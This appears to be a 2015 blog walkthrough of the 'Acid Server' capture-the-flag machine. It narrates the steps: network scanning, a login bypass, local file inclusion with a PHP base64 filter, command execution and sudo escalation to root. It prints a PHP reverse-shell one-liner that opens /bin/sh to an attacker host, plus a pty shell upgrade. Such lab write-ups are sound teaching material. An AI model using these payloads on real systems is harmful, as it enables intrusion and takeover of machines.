Monday, 31 August 2015

Walkthrough of Acid Server

  The goal of this challenge is to break into the machine and find the secret message hidden in a sensitive file.

Attacker IP (Kali Linux):

Target (Acid Server):-


 1.      Scanned the network to discover the target server [Net Discover]
 2.      Port scanned the target to discover the running services and open ports [NMAP]
 3.      Bypass the Login Page
 4.      Viewing source code and bypass the File Inclusion by extracting the file(/Magic_Box/tails.php)
 5.      Use Secret key
 6.      Take Reverse shell using nc
 7.      Taking interactive shell access
 8.      Got the username and password & and got root access.
 9.      Flag


Using netdiscover command, as routine to detect the target's IP address and the we run NMAP Full port scan to detect opening ports/running services on the target. After completing portscanning, port 33447/tcp have been discovered and the web server is apache httpd 2.4.10 running on Ubuntu Linux.

Figure 1: Nmap scan

After getting 33447/tcp port open we run it in the URL and we found a welcome page.
Figure 2: Welcome world of Acid

Here we check the source code and got the /Challenge/ page.

Figure 3: /Challenge/

We got the login page after accessing the /Challenge/ in URL. Now, here we apply different methods to login but we can’t login into this page.

Figure 4: Login Page
After trying multiple methods we took some portion of javascript and searched on Google that how can be create a secure login script in PHP.
Figure 5:  email & password

Finally a website had the full source of how a secure php script can be created, from there we used Email and Password mentioned and tested on the victim machine and voila we successfully got access to the page.
Figure 6: Logged In
After successfully logged into the Admin panel we found the include.php page which was vulnerable to LFI (Local File Inclusion)

Figure 7: File Inclusion
Executing the same procedure as mentioned above we checked the source code (CTRL + U) of include.php file and at bottom of the page we found a Hex Code. We then converted the hex code to ascii and found a base64 hash value.

Figure 8: Hex to ASCII
After decoding this base64 hash we got something which was encoded with a rot13.
Figure 9: base64 decode

Figure 10: Rot13
After decoding with rot13 we found the php.ekac which is a cake.php and we include that cake.php in the URL (include.php)  which was vulnerable to LFI to read the php source file. In order to accomplish that we used a PHP filter to read the source code of the php file.

Figure 11: Cake.php

After executing the above mentioned code we were able to retrieve the file, but the file was base64 encoded, as the filter was set to do that. The Next step was to retrieve the base64 encoded string and then decode it in order to view the php source code. 

Figure 12: base64

Figure 13: base64 decode
After decoding that base64 hash we found a comment at the bottom mentioning the tails.php file and new directory /Magic_Box/.
Figure 14: Magic_Box
We then accessed the page and found out we need a key in order to authenticate it and see the content of the page. 

Figure 16: Secret key
So in order to get the secret key we used LFI vulnerable file and our php filter code and extracted the source code of Tails.php in base64 encoded format and then later on converted into plain text.
Figure 17: Validate.php

We can see the  Post  authentication is validated on the “proc/validate.php” file. So using the same method we extracted the source code of validate.php in base64 encoded format and  then decoded it.

Figure 18: Secret Key

After decoding it we can see the key in plain text.
When we used the secret key we move forward to the next level where we got the command code execution vulnerable file, we exploited it and created a bind connection between client and attacker machine.
E.g.; php -r '$sock=fsockopen("",1234);exec("/bin/sh -i<&3 >&3 2>&3");'

Figure 19: Reverse Shell access.php

Figure 20: listening mode
We took the connection and our next step is to escalate it to interactive shell , in order to do that we used this command given below.
python -c 'import pty; pty.spawn("/bin/bash")'
Figure 21: Investigate & hint.pcap
After looking into the root folder we found an unusal folder named “s.bin”. The s.bin folder contained investigate.php file which had a hint to look into all the traffic in and out of the network, so our next step was to look for all the files extension named “pcap”.
find / -type f –name *.pcap*
 Here we got the .pcapng file in /sbin/raw_vs_isi/. when we used strings command to check that .pcapng file we got the strings like “saman and now a days he’s known by the alias of 1337hax0r” and by use of this saman as a username and password 1337hax0r we got the local access.

Figure 22: Username & Password
After accessing the local account we simply used sudo command in order to escalate to root account ( This was the most simplest root access ever J ).

Figure 23: Root Access

After getting root access we looked into all the files extension named *.txt or flag.
find / -type f –name *.txt
find / type f  -name flag*

and we finally we found our flag in root directory.

Figure 24:  Flag

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